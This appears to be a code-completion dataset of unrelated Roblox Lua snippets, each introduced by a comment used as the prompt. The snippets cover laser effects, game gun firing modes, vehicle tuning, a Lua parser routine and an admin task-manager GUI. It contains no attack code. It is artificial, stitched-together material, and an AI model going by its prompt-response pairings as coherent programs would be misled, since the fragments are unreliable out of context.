BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false

BaseRay = BasePart:Clone()
BaseRay.Name = "Laser"
BaseRay.BrickColor = BrickColor.new("Cyan")
BaseRay.Material = Enum.Material.Neon
BaseRay.Size = Vector3.new(0.2, 0.2, 0.2)
BaseRay.Anchored = true
BaseRay.CanCollide = false
BaseRayMesh = Instance.new("SpecialMesh")
BaseRayMesh.Name = "Mesh"
BaseRayMesh.MeshType = Enum.MeshType.Brick
BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1)
BaseRayMesh.Offset = Vector3.new(0, 0, 0)
BaseRayMesh.VertexColor = Vector3.new(1, 1, 1)
BaseRayMesh.Parent = BaseRay

function PlaySound(Position, Sound)
	local SoundPart = BasePart:Clone()
	SoundPart.Name = "ParticlePart"
	SoundPart.Transparency = 1
	SoundPart.Anchored = true
	SoundPart.CanCollide = false
	local SoundObject = Sound:Clone()
	SoundObject.Parent = SoundPart
	Debris:AddItem(SoundPart, 1.5)
	SoundPart.Parent = game:GetService("Workspace")
	SoundPart.CFrame = CFrame.new(Position)
	SoundObject:Play()
end

function FireRay(StartPosition, TargetPosition, Hit)

	local Vec = (TargetPosition - StartPosition)
	local Distance = Vec.magnitude
	local Direction = Vec.unit

	local PX = (StartPosition + (0.0 * Distance) * Direction)
	local PY = (StartPosition + (0.0 * Distance) * Direction)
	local PZ = (StartPosition + (0.0 * Distance) * Direction)

	local DX = (StartPosition - PX).magnitude
	local DY = (PX - PY).magnitude
	local DZ = (PY - PZ).magnitude

	local Limit = 2
	local AX = (PX + Vector3.new(math.random(math.max(-Limit, (-0.0 * DX)), math.min(Limit, (0.21 * DX))),math.random(math.max(-Limit, (-0.21 * DX)),math.min(Limit, (0.21 * DX))), math.random(math.max(-Limit, (-0.21 * DX)), math.min(Limit, (0.21 * DX)))))
	local AY = (PY + Vector3.new(math.random(math.max(-Limit, (-0.0 * DY)), math.min(Limit, (0.21 * DY))),math.random(math.max(-Limit, (-0.21 * DY)),math.min(Limit, (0.21 * DY))), math.random(math.max(-Limit, (-0.21 * DY)), math.min(Limit, (0.21 * DY)))))
	local AZ = (PZ + Vector3.new(math.random(math.max(-Limit, (-0.0 * DZ)), math.min(Limit, (0.21 * DZ))),math.random(math.max(-Limit, (-0.21 * DZ)),math.min(Limit, (0.21 * DZ))), math.random(math.max(-Limit, (-0.21 * DZ)), math.min(Limit, (0.21 * DZ)))))

	local Rays = {
		{Distance = (AX - StartPosition).magnitude, Direction = CFrame.new(StartPosition, AX)},
		{Distance = (AY - AX).magnitude, Direction = CFrame.new(AX, AY)},
		{Distance = (AZ - AY).magnitude, Direction = CFrame.new(AY, AZ)},
		{Distance = (TargetPosition - AZ).magnitude, Direction = CFrame.new(AZ, TargetPosition)},
	}

	for i, v in pairs(Rays) do
		local Ray = BaseRay:Clone()
		Ray.BrickColor = BrickColor.new("Lime green")
		Ray.Reflectance = 0
		Ray.Transparency = 0 --1
		Ray.Material = Enum.Material.Neon
		local Mesh = Ray.Mesh
		Mesh.Scale = (Vector3.new(0.15, 0.15, (v.Distance / 1)) * 5)
		Ray.CFrame = (v.Direction * CFrame.new(0, 0, (-0.5 * v.Distance)))
		Debris:AddItem(Ray, (0.1 / (#Rays - (i - 1))))
		Ray.Parent = Camera
	end

end

pcall(function()
	local StartPosition = script:WaitForChild("StartPosition").Value
	local TargetPosition = script:WaitForChild("TargetPosition").Value
	local RayHit = script:WaitForChild("RayHit").Value
	FireRay(StartPosition, TargetPosition)
	if RayHit then
		PlaySound(TargetPosition, Sounds.RayHit)
	end
end)

Debris:AddItem(script, 1)


Prompt: -- Libraries

Response:
RbxUtility = require(script.LoadLibrary.RbxUtility)
Support = require(Tool.SupportLibrary);
Security = require(Tool.SecurityModule);
RegionModule = require(Tool['Region by AxisAngle']);
Serialization = require(Tool.SerializationModule);
Create = RbxUtility.Create;
CreateSignal = RbxUtility.CreateSignal;


Prompt: -- Make the AnimBase

Response:
	L_15_ = Instance.new("Part", L_3_)
	L_15_.FormFactor = "Custom"
	L_15_.CanCollide = false
	L_15_.Transparency = 1
	L_15_.Anchored = false
	L_15_.Name = "AnimBase"

	L_16_ = Instance.new("Motor6D")
	L_16_.Part0 = L_15_
	L_16_.Part1 = L_40_
	L_16_.Parent = L_15_
	L_16_.Name = "AnimBaseW"
	--AnimBaseW.C1 = gunSettings.StartPose

	L_12_ = Instance.new("Motor6D")
	L_12_.Part0 = L_3_['Right Arm']
	L_12_.Part1 = L_1_:FindFirstChild('Grip')
	L_12_.Parent = L_3_['Right Arm']
	L_12_.C1 = L_11_.GunPos
	L_12_.Name = "Grip"

	for L_42_forvar1, L_43_forvar2 in pairs(L_1_:GetChildren()) do
		if L_43_forvar2:IsA("Part") or L_43_forvar2:IsA("MeshPart") or L_43_forvar2:IsA("UnionOperation") then
			L_43_forvar2.Anchored = true
			if L_43_forvar2.Name ~= "Grip" then
				Weld(L_43_forvar2, L_1_:WaitForChild("Grip"))
			end
		end
	end

	for L_44_forvar1, L_45_forvar2 in pairs(L_1_:GetChildren()) do
		if L_45_forvar2:IsA("Part") or L_45_forvar2:IsA("MeshPart") or L_45_forvar2:IsA("UnionOperation") then
			L_45_forvar2.Anchored = false
		end
	end

	L_17_ = L_3_['Right Arm']
	L_18_ = L_3_['Left Arm']
	L_21_ = L_3_.Torso:WaitForChild("Right Shoulder")
	L_22_ = L_3_.Torso:WaitForChild("Left Shoulder")

	L_19_ = Instance.new("Motor6D")
	L_19_.Name = "RAW"
	L_19_.Part0 = L_15_
	L_19_.Part1 = L_17_
	L_19_.Parent = L_15_
	L_19_.C1 = L_11_.RightArmPos
	L_3_.Torso:WaitForChild("Right Shoulder").Part1 = nil

	L_20_ = Instance.new("Motor6D")
	L_20_.Name = "LAW"
	L_20_.Part0 = L_15_
	L_20_.Part1 = L_18_
	L_20_.Parent = L_15_
	L_20_.C1 = L_11_.LeftArmPos
	L_3_.Torso:WaitForChild("Left Shoulder").Part1 = nil

	if L_27_ then
		L_27_:Destroy()
	end

	L_28_:FireClient(L_2_, true, L_12_, L_15_, L_16_, L_19_, L_20_, L_14_)
end)

L_1_.Unequipped:connect(function()
	local L_46_ = L_3_:FindFirstChild('Torso')
	local L_47_ = L_3_:FindFirstChild('Head')
	L_27_ = L_3_:FindFirstChild('HolsterModel') or Instance.new('Model', L_3_)
	L_27_.Name = "HolsterModel"

	for L_48_forvar1, L_49_forvar2 in pairs(L_1_:GetChildren()) do
		for L_50_forvar1, L_51_forvar2 in pairs(L_49_forvar2:GetChildren()) do
			if L_51_forvar2.ClassName == "Motor6D" then
				L_51_forvar2:Destroy()
			end
		end
	end

	for L_52_forvar1, L_53_forvar2 in pairs(L_1_:GetChildren()) do
		if L_53_forvar2:IsA("Part") or L_53_forvar2:IsA("MeshPart") or L_53_forvar2:IsA("UnionOperation") then
			L_53_forvar2.Anchored = true
		end
	end

	L_46_:WaitForChild("Neck").Part1 = L_47_
	L_46_:WaitForChild("Neck").C1 = L_46_:WaitForChild("Neck").C1
	L_46_:WaitForChild("Neck").C0 = L_46_:WaitForChild("Neck").C0

	L_15_:Destroy()
	L_14_:Destroy()
	L_21_.Part1 = L_17_
	L_22_.Part1 = L_18_

	L_28_:FireClient(L_2_, false)

	if L_11_.HolsteringEnabled then
		for L_55_forvar1, L_56_forvar2 in pairs(L_1_:GetChildren()) do
			if L_56_forvar2:IsA("Part") or L_56_forvar2:IsA("MeshPart") or L_56_forvar2:IsA("UnionOperation") then
				L_56_forvar2.Anchored = true
				local L_57_ = L_56_forvar2:clone()
				L_57_.Parent = L_27_
			end
		end;

		for L_58_forvar1, L_59_forvar2 in pairs(L_27_:GetChildren()) do
			Weld(L_59_forvar2, L_27_:WaitForChild("Grip"))
		end

		local L_54_ = Weld(L_27_:WaitForChild("Grip"), L_3_:WaitForChild('Torso'))
		L_54_.Name = "TWeld"
		L_54_.C1 = L_11_.HolsterPos

		for L_60_forvar1, L_61_forvar2 in pairs(L_27_:GetChildren()) do
			L_61_forvar2.Anchored = false
		end
	end
end)

L_3_.Humanoid.Died:connect(function()
	L_28_:FireClient(L_2_, false)
end)


Prompt: -- Torso

Response:
		character:FindFirstChild("Humanoid").CameraOffset = Vector3.new(0,0,-2)
	end
end)


Prompt:
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here?
-- don't edit anything here

Response:
seat = script.Parent

function onChildAdded(part)
	script.Parent.Parent.Base.EngineStart:Play()
	script.Parent.Parent.Base.EngineStop:Stop()
	wait(3)
	script.Parent.Parent.Base.EngineSound:Play()
end

function onChildRemoved(part)
	script.Parent.Parent.Base.EngineStop:Play()
	script.Parent.Parent.Base.EngineSound:Stop()
	script.Parent.Parent.Base.EngineStart:Stop()
end
seat.ChildAdded:connect(onChildAdded)
seat.ChildRemoved:connect(onChildRemoved)


Prompt:
--Enter the name of the model you want to go to here.
------------------------------------

Response: modelname="teleporta"


Prompt: --Why don't you see what you can do with this model? Maybe load some more R15 animations, or even use it as a StarterCharacter?


Prompt: -- Unsafe to use with non-Portalshot modes.

Response:
function CircularEdge.new(Activity)
    local self = {
        Generator = Random.new(os.time());
        Activity = Activity;
    }

    return setmetatable(self, CircularEdge)
end

function CircularEdge:GetRotation(N: number): number
    -- We do this to include the noiseness factor.
    return self.Generator:NextInteger(-N, N) + self.Generator:NextNumber()
end

function CircularEdge:GetNextPoint(Player: Player): CFrame
    local Origin: CFrame = self.Activity.SpawnArea:GetTargetAreaPosition(Player)
    local TargetAreaSize = self.Activity.Settings.TargetAreaSize

    return Origin
        * CFrame.Angles(0, math.rad(self:GetRotation(self.Activity.SpawnMechanism.State.Angles / 2)), 0)
        * CFrame.Angles(math.rad(self:GetRotation(TargetAreaSize.Y / 2)), 0, 0)
        * CFrame.new(TargetAreaSize.X / 2, 0, TargetAreaSize.Z / 2)
end

CircularEdge.GetStartingPoint = CircularEdge.GetNextPoint

return CircularEdge


Prompt:
------------------------------------------------------------------------
-- parse a generic for loop, calls forbody()
-- * used in forstat()
------------------------------------------------------------------------

Response:
function luaY:forlist(ls, indexname)
  -- forlist -> NAME {,NAME} IN explist1 forbody
  local fs = ls.fs
  local e = {}  -- expdesc
  local nvars = 0
  local base = fs.freereg
  -- create control variables
  self:new_localvarliteral(ls, "(for generator)", nvars)
  nvars = nvars + 1
  self:new_localvarliteral(ls, "(for state)", nvars)
  nvars = nvars + 1
  self:new_localvarliteral(ls, "(for control)", nvars)
  nvars = nvars + 1
  -- create declared variables
  self:new_localvar(ls, indexname, nvars)
  nvars = nvars + 1
  while self:testnext(ls, ",") do
    self:new_localvar(ls, self:str_checkname(ls), nvars)
    nvars = nvars + 1
  end
  self:checknext(ls, "TK_IN")
  local line = ls.linenumber
  self:adjust_assign(ls, 3, self:explist1(ls, e), e)
  luaK:checkstack(fs, 3)  -- extra space to call generator
  self:forbody(ls, base, line, nvars - 3, false)
end


Prompt: --// Firemode Functions

Response:
function CreateBullet(L_141_arg1)
	local L_142_ = L_37_.Position
	local L_143_ = (L_4_.Hit.p - L_142_).unit
	local L_144_ = CFrame.Angles(math.rad(math.random(-L_141_arg1, L_141_arg1)), math.rad(math.random(-L_141_arg1, L_141_arg1)), math.rad(math.random(-L_141_arg1, L_141_arg1)))
	L_143_ = L_144_ * L_143_
	local L_145_ = CFrame.new(L_142_, L_142_ + L_143_)

	local L_146_ = Instance.new("Part", L_66_)
	game.Debris:AddItem(L_146_, 10)
	L_146_.Shape = Enum.PartType.Ball
	L_146_.Size = Vector3.new(1, 1, 12)
	L_146_.Name = "Bullet"
	L_146_.TopSurface = "Smooth"
	L_146_.BottomSurface = "Smooth"
	L_146_.BrickColor = BrickColor.new("Bright green")
	L_146_.Material = "Neon"
	L_146_.CanCollide = false
		--Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p)
	L_146_.CFrame = L_145_

	local L_147_ = Instance.new("Sound")
	L_147_.SoundId = "rbxassetid://341519743"
	L_147_.Looped = true
	L_147_:Play()
	L_147_.Parent = L_146_
	L_147_.Volume = 0.4
	L_147_.MaxDistance = 30

	local L_148_ = Instance.new("SpecialMesh", L_146_)
	L_148_.MeshType = "Sphere"
	L_148_.Scale = Vector3.new(0.2, 0.2, 0.8)

	L_146_.Transparency = 1
	local L_149_ = L_146_:GetMass()
	local L_150_ = Instance.new('BodyForce', L_146_)

	L_150_.Force = L_21_.BulletPhysics
	L_146_.Velocity = L_143_ * L_21_.BulletSpeed

	local L_151_ = Instance.new('Attachment', L_146_)
	L_151_.Position = Vector3.new(0.1, 0, 0)
	local L_152_ = Instance.new('Attachment', L_146_)
	L_152_.Position = Vector3.new(-0.1, 0, 0)

	local L_153_ = TracerCalculation()

	if L_21_.TracerEnabled == true and L_153_ then
		local L_154_ = Instance.new('Trail', L_146_)
		L_154_.Attachment0 = L_151_
		L_154_.Attachment1 = L_152_
		L_154_.Transparency = NumberSequence.new(L_21_.TracerTransparency)
		L_154_.LightEmission = L_21_.TracerLightEmission
		L_154_.TextureLength = L_21_.TracerTextureLength
		L_154_.Lifetime = L_21_.TracerLifetime
		L_154_.FaceCamera = L_21_.TracerFaceCamera
		L_154_.Color = ColorSequence.new(L_21_.TracerColor.Color)
	end

	if L_1_:FindFirstChild('Shell') then
		CreateShell()
	end

	delay(0.2, function()
		L_146_.Transparency = 0
	end)

	return L_146_
end

function CheckForHumanoid(L_155_arg1)
	local L_156_
	local L_157_
	if (L_155_arg1.Parent:FindFirstChild("Humanoid") or L_155_arg1.Parent.Parent:FindFirstChild("Humanoid")) then
		L_156_ = true
		if L_155_arg1.Parent:FindFirstChild('Humanoid') then
			L_157_ = L_155_arg1.Parent.Humanoid
		elseif L_155_arg1.Parent.Parent:FindFirstChild('Humanoid') then
			L_157_ = L_155_arg1.Parent.Parent.Humanoid
		end
	else
		L_156_ = false
	end
	return L_156_, L_157_
end

function CastRay(L_158_arg1)
	local L_159_, L_160_, L_161_
	local L_162_ = L_37_.Position;
	local L_163_ = L_158_arg1.Position;
	local L_164_ = 0
	while true do
		L_70_:wait()
		L_163_ = L_158_arg1.Position;
		L_164_ = L_164_ + (L_163_ - L_162_).magnitude
		L_159_, L_160_, L_161_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_162_, (L_163_ - L_162_)), IgnoreList);
		local L_165_ = Vector3.new(0, 1, 0):Cross(L_161_)
		local L_166_ = math.asin(L_165_.magnitude) -- division by 1 is redundant
		if L_164_ > 10000 then
			break
		end
		if L_159_ and (L_159_ and L_159_.Transparency >= 1 or L_159_.CanCollide == false) then
			table.insert(IgnoreList, L_159_)
		end

		if L_159_ then
			L_165_ = Vector3.new(0, 1, 0):Cross(L_161_)
			L_166_ = math.asin(L_165_.magnitude) -- division by 1 is redundant

			local L_167_ = CheckForHumanoid(L_159_)
			if L_167_ == false then
				L_158_arg1:Destroy()
				L_77_:FireServer(L_160_, L_165_, L_166_, L_161_, "Part")
			elseif L_167_ == true then
				L_158_arg1:Destroy()
				L_77_:FireServer(L_160_, L_165_, L_166_, L_161_, "Human")
			end
		end

		if L_159_ and (L_159_.Parent:FindFirstChild("Humanoid") or L_159_.Parent.Parent:FindFirstChild("Humanoid")) then
			local L_168_, L_169_ = CheckForHumanoid(L_159_)
			if L_168_ then
				if L_21_.AntiTK then
					if game.Players:FindFirstChild(L_169_.Parent.Name) and game.Players:FindFirstChild(L_169_.Parent.Name).TeamColor ~= L_2_.TeamColor then
						if L_159_.Name == 'Head' then
							L_74_:FireServer(L_169_, L_21_.HeadDamage)
						elseif L_159_.Name ~= 'Head' and not (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then
							L_74_:FireServer(L_169_, L_21_.Damage)
						elseif (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then
							L_74_:FireServer(L_169_, L_21_.HeadDamage)
						end
					end
				else
					if L_159_.Name == 'Head' then
						L_74_:FireServer(L_169_, L_21_.HeadDamage)
					elseif L_159_.Name ~= 'Head' and not (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then
						L_74_:FireServer(L_169_, L_21_.Damage)
					elseif (L_159_.Parent:IsA('Accessory') or L_159_.Parent:IsA('Hat')) then
						L_74_:FireServer(L_169_, L_21_.HeadDamage)
					end
				end
			end
		end

		if L_159_ and L_159_.Parent:FindFirstChild("Humanoid") then
			local L_170_
			if L_159_ and L_159_.Parent:FindFirstChild("Humanoid") or L_159_.Parent.Parent:FindFirstChild("Humanoid") then
				if L_159_.Parent:IsA("Accessory") then
					L_170_ = L_159_.Parent.Parent.Humanoid
				elseif not L_159_.Parent:IsA("Accessory") then
					L_170_ = L_159_.Parent.Humanoid
				end
				L_75_:FireServer(L_170_)
			end
			return L_159_, L_160_;
		end
		L_162_ = L_163_;
	end
end

function fireSemi()
	if L_14_ then
		L_46_ = false
		Recoiling = true
		Shooting = true
		L_73_:FireServer()
		L_67_ = CreateBullet(0)
		L_68_ = L_68_ - 1
		RecoilFront = true
		local L_171_, L_172_ = spawn(function()
			CastRay(L_67_)
		end)

		for L_174_forvar1, L_175_forvar2 in pairs(L_37_:GetChildren()) do
			if L_175_forvar2.Name:sub(1, 7) == "FlashFX" then
				L_175_forvar2.Enabled = true
			end
		end

		delay(1 / 30, function()
			for L_176_forvar1, L_177_forvar2 in pairs(L_37_:GetChildren()) do
				if L_177_forvar2.Name:sub(1, 7) == "FlashFX" then
					L_177_forvar2.Enabled = false
				end
			end
		end)

		if L_21_.CanBolt == true then
			BoltingBackAnim()
			delay(L_21_.Firerate / 2, function()
				if L_21_.CanSlideLock == false then
					BoltingForwardAnim()
				elseif L_21_.CanSlideLock == true and L_68_ > 0 then
					BoltingBackAnim()
				end
			end)
		end

		delay(L_21_.Firerate / 2, function()
			Recoiling = false
			RecoilFront = false
		end)

		wait(L_21_.Firerate)

		local L_173_ = JamCalculation()
		if L_173_ then
			L_46_ = false
		else
			L_46_ = true
		end
		Shooting = false
	end
end

function fireShot()
	if L_14_ then
		L_46_ = false
		Recoiling = true
		Shooting = true
		RecoilFront = true
		L_73_:FireServer()
		for L_179_forvar1 = 1, L_21_.ShotNum do
			L_67_ = CreateBullet(2)
			local L_180_, L_181_ = spawn(function()
				CastRay(L_67_)
			end)
		end

		for L_182_forvar1, L_183_forvar2 in pairs(L_37_:GetChildren()) do
			if L_183_forvar2.Name:sub(1, 7) == "FlashFX" then
				L_183_forvar2.Enabled = true
			end
		end

		delay(1 / 30, function()
			for L_184_forvar1, L_185_forvar2 in pairs(L_37_:GetChildren()) do
				if L_185_forvar2.Name:sub(1, 7) == "FlashFX" then
					L_185_forvar2.Enabled = false
				end
			end
		end)

		if L_21_.CanBolt == true then
			BoltingBackAnim()
			delay(L_21_.Firerate / 2, function()
				if L_21_.CanSlideLock == false then
					BoltingForwardAnim()
				elseif L_21_.CanSlideLock == true and L_68_ > 0 then
					BoltingBackAnim()
				end
			end)
		end

		delay(L_21_.Firerate / 2, function()
			Recoiling = false
			RecoilFront = false
		end)
		L_68_ = L_68_ - 1
		wait(L_21_.Firerate)

		local L_178_ = JamCalculation()
		if L_178_ then
			L_46_ = false
		else
			L_46_ = true
		end

		Shooting = false
	end
end

function fireBoltAction()
	if L_14_ then
		L_46_ = false
		Recoiling = true
		Shooting = true
		L_73_:FireServer()
		L_67_ = CreateBullet(0)
		L_68_ = L_68_ - 1
		RecoilFront = true
		local L_186_, L_187_ = spawn(function()
			CastRay(L_67_)
		end)

		for L_189_forvar1, L_190_forvar2 in pairs(L_37_:GetChildren()) do
			if L_190_forvar2.Name:sub(1, 7) == "FlashFX" then
				L_190_forvar2.Enabled = true
			end
		end

		delay(1 / 30, function()
			for L_191_forvar1, L_192_forvar2 in pairs(L_37_:GetChildren()) do
				if L_192_forvar2.Name:sub(1, 7) == "FlashFX" then
					L_192_forvar2.Enabled = false
				end
			end
		end)

		if L_21_.CanBolt == true then
			BoltingBackAnim()
			delay(L_21_.Firerate / 2, function()
				if L_21_.CanSlideLock == false then
					BoltingForwardAnim()
				elseif L_21_.CanSlideLock == true and L_68_ > 0 then
					BoltingBackAnim()
				end
			end)
		end

		delay(L_21_.Firerate / 2, function()
			Recoiling = false
			RecoilFront = false
		end)
		wait(L_21_.Firerate)

		BoltBackAnim()
		BoltForwardAnim()
		IdleAnim()

		local L_188_ = JamCalculation()
		if L_188_ then
			L_46_ = false
		else
			L_46_ = true
		end

		Shooting = false
	end
end

function fireAuto()
	while not Shooting and L_68_ > 0 and L_45_ and L_46_ and L_14_ do
		L_46_ = false
		Recoiling = true
		L_73_:FireServer()
		L_68_ = L_68_ - 1
		Shooting = true
		RecoilFront = true
		L_67_ = CreateBullet(0)
		local L_193_, L_194_ = spawn(function()
			CastRay(L_67_)
		end)

		for L_196_forvar1, L_197_forvar2 in pairs(L_37_:GetChildren()) do
			if L_197_forvar2.Name:sub(1, 7) == "FlashFX" then
				L_197_forvar2.Enabled = true
			end
		end

		delay(1 / 30, function()
			for L_198_forvar1, L_199_forvar2 in pairs(L_37_:GetChildren()) do
				if L_199_forvar2.Name:sub(1, 7) == "FlashFX" then
					L_199_forvar2.Enabled = false
				end
			end
		end)

		if L_21_.CanBolt == true then
			BoltingBackAnim()
			delay(L_21_.Firerate / 2, function()
				if L_21_.CanSlideLock == false then
					BoltingForwardAnim()
				elseif L_21_.CanSlideLock == true and L_68_ > 0 then
					BoltingForwardAnim()
				end
			end)
		end

		delay(L_21_.Firerate / 2, function()
			Recoiling = false
			RecoilFront = false
		end)
		wait(L_21_.Firerate)

		local L_195_ = JamCalculation()
		if L_195_ then
			L_46_ = false
		else
			L_46_ = true
		end

		Shooting = false
	end
end

function fireBurst()
	if not Shooting and L_68_ > 0 and L_45_ and L_14_ then
		for L_200_forvar1 = 1, L_21_.BurstNum do
			if L_68_ > 0 and L_45_ then
				L_46_ = false
				Recoiling = true
				L_73_:FireServer()
				L_67_ = CreateBullet(0)
				local L_201_, L_202_ = spawn(function()
					CastRay(L_67_)
				end)

				for L_204_forvar1, L_205_forvar2 in pairs(L_37_:GetChildren()) do
					if L_205_forvar2.Name:sub(1, 7) == "FlashFX" then
						L_205_forvar2.Enabled = true
					end
				end

				delay(1 / 30, function()
					for L_206_forvar1, L_207_forvar2 in pairs(L_37_:GetChildren()) do
						if L_207_forvar2.Name:sub(1, 7) == "FlashFX" then
							L_207_forvar2.Enabled = false
						end
					end
				end)

				if L_21_.CanBolt == true then
					BoltingBackAnim()
					delay(L_21_.Firerate / 2, function()
						if L_21_.CanSlideLock == false then
							BoltingForwardAnim()
						elseif L_21_.CanSlideLock == true and L_68_ > 0 then
							BoltingForwardAnim()
						end
					end)
				end

				L_68_ = L_68_ - 1
				RecoilFront = true
				delay(L_21_.Firerate / 2, function()
					Recoiling = false
					RecoilFront = false
				end)
				wait(L_21_.Firerate)

				local L_203_ = JamCalculation()
				if L_203_ then
					L_46_ = false
				else
					L_46_ = true
				end

			end
			Shooting = true
		end
		Shooting = false
	end
end

function Shoot()
	if L_14_ and L_46_ then
		if L_59_ == 1 then
			fireSemi()
		elseif L_59_ == 2 then
			fireAuto()
		elseif L_59_ == 3 then
			fireBurst()
		elseif L_59_ == 4 then
			fireBoltAction()
		elseif L_59_ == 5 then
			fireShot()
		end
	end
end


Prompt: --// All global vars will be wiped/replaced except script

Response:
local function Expand(ent, point)
	ent.MouseLeave:Connect(function(x,y)
		point.Visible = false
	end)

	ent.MouseMoved:Connect(function(x,y)
		point.Label.Text = ent.Desc.Value
		point.Size = UDim2.new(0, 10000, 0, 10000)
		local bounds = point.Label.TextBounds.X
		local rows = math.floor(bounds/500)
		rows = rows+1
		if rows<1 then rows = 1 end
		local newx = 500
		if bounds<500 then newx = bounds end
		point.Visible = true
		point.Size = UDim2.new(0, newx+5, 0, (rows*20)+5)
		point.Position = UDim2.new(0, x, 0, y-40-((rows*20)+5))
	end)
end

return function(data, env)
	if env then
		setfenv(1, env)
	end

	local gTable = data.gTable
	local gui = gTable.Object
	local drag = gui.Drag
	local Main = gui.Drag.Main
	local Close = gui.Drag.Close
	local Hide = gui.Drag.Hide
	local Search = gui.Drag.Search
	local cTab = gui.Drag.Main.ClientTab
	local sTab = gui.Drag.Main.ServerTab
	local Dragger = gui.Drag.Main.Dragger
	local cFrame = gui.Drag.Main.Client
	local sFrame = gui.Drag.Main.Server
	local Title = gui.Drag.Title
	local Entry = gui.Entry
	local Desc = gui.Desc

	local num = 0
	local mouse = service.Players.LocalPlayer:GetMouse()
	local nx,ny = drag.AbsoluteSize.X,Main.AbsoluteSize.Y
	local dragging = false
	local defx,defy = nx,ny
	local topText = ""

	local function openClient()
		sFrame.Visible = false
		cFrame.Visible = true
		cTab.BackgroundTransparency = 0
		sTab.BackgroundTransparency = 0.5
	end

	local function openServer()
		sFrame.Visible = true
		cFrame.Visible = false
		cTab.BackgroundTransparency = 0.5
		sTab.BackgroundTransparency = 0
	end

	local updateLists; updateLists = function()
		local serverTasks --= client.Remote.Get("TaskCommand","GetTasks")
		local clientTasks = service.GetTasks() --service.Threads.Tasks
		--// Unfinished
		cFrame:ClearAllChildren()

		local cNum = 0
		for index,task in pairs(clientTasks) do
			local new = Entry:Clone()
			local frame = new.Frame
			local status = task:Status()
			new.Parent = cFrame
			new.Visible = true
			new.Desc.Value = task.Name
			new.Position = UDim2.new(0,0,0,cNum*20)
			frame.Text.Text = tostring(task.Function)
			frame.Status.Text = status

			if status == "suspended" then
				frame.Resume.Text = "Resume"
			elseif status == "normal" or status == "running" then
				frame.Resume.Text = "Suspend"
			end

			frame.Resume.MouseButton1Down:Connect(function()
				if frame.Resume.Text == "Resume" and task:Status() == "Suspended" then
					task:Resume()
				else
					task:Pause()
				end
				wait(0.5)
				updateLists()
			end)

			frame.Kill.MouseButton1Down:Connect(function()
				task:Kill()
				wait(0.5)
				updateLists()
			end)

			frame.Stop.MouseButton1Down:Connect(function()
				task:Stop()
				wait(0.5)
				updateLists()
			end)

			Expand(new,Desc)
			cNum = cNum+1
		end

		cFrame.CanvasSize =  UDim2.new(0, 0, 0, num*20)
	end

	sTab.MouseButton1Down:Connect(openServer)
	cTab.MouseButton1Down:Connect(openClient)

	Close.MouseButton1Click:Connect(function()
		drag.Draggable = false
		drag:TweenPosition(UDim2.new(drag.Position.X.Scale, drag.Position.X.Offset, 1,0), "Out", "Sine", 0.5, true)
		wait(0.5)
		gTable:Destroy()
	end)

	drag.BackgroundColor3 = Main.BackgroundColor3

	Hide.MouseButton1Click:Connect(function()
		if Main.Visible then
			Main.Visible = false
			drag.BackgroundTransparency = Main.BackgroundTransparency
			Hide.Text = "+"
		else
			Main.Visible = true
			drag.BackgroundTransparency = 1
			Hide.Text = "-"
		end
	end)

	mouse.Move:Connect(function(x,y)
		if dragging then
			nx=defx+(Dragger.Position.X.Offset+20)
			ny=defy+(Dragger.Position.Y.Offset+20)
			if nx<200 then nx=200 end
			if ny<200 then ny=200 end
			drag.Size=UDim2.new(0, nx, 0, 30)
			Main.Size=UDim2.new(1, 0, 0, ny)
			if nx<220 then
				if topText=="" then
					topText=Title.Text
				end
				Title.Text=""
			else
				if topText~="" then
					Title.Text=topText
					topText=""
				end
			end
		end
	end)

	Dragger.DragBegin:Connect(function(init)
		dragging = true
	end)

	Dragger.DragStopped:Connect(function(x,y)
		dragging = false
		defx = nx
		defy = ny
		Dragger.Position = UDim2.new(1,-20,1,-20)
	end)

	gTable:Ready()

	while wait(1) do
		updateLists()
	end
end


Prompt: --// Walk and Sway

Response:
local L_136_

local L_137_ = 0.6
local L_138_ = 0.05 -- speed
local L_139_ = -0.1 -- height

local L_140_ = 0
local L_141_ = 0
local L_142_ = 35 --This is the limit of the mouse input for the sway
local L_143_ = -9 --This is the magnitude of the sway when you're unaimed
local L_144_ = -9 --This is the magnitude of the sway when you're aimed


Prompt:
--[=[
	@return boolean
	Returns the [`GuiService.AutoSelectGuiEnabled`](https://developer.roblox.com/en-us/api-reference/property/GuiService/AutoSelectGuiEnabled)
	property.
]=]

Response:
function Gamepad:IsAutoSelectGuiEnabled(): boolean
	return GuiService.AutoSelectGuiEnabled
end


Prompt: --[[Weight and CG]]

Response:
	Tune.Weight			= 2450		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible

	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]

	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members


Prompt:
--[[**
	matches given tuple against tuple type definition

	@param ... The type definition for the tuples

	@returns A function that will return true iff the condition is passed
**--]]

Response:
function t.tuple(...)
	local checks = { ... }
	return function(...)
		local args = { ... }
		for i, check in ipairs(checks) do
			local success, errMsg = check(args[i])
			if success == false then
				return false, string.format("Bad tuple index #%s:\n\t%s", i, errMsg or "")
			end
		end

		return true
	end
end


Prompt:
-- DEPRECATED: Use openMerchBooth instead. openCatalogView is kept around for
-- backwards compatibility

Response:
module.openCatalogView = module.openMerchBooth

return module


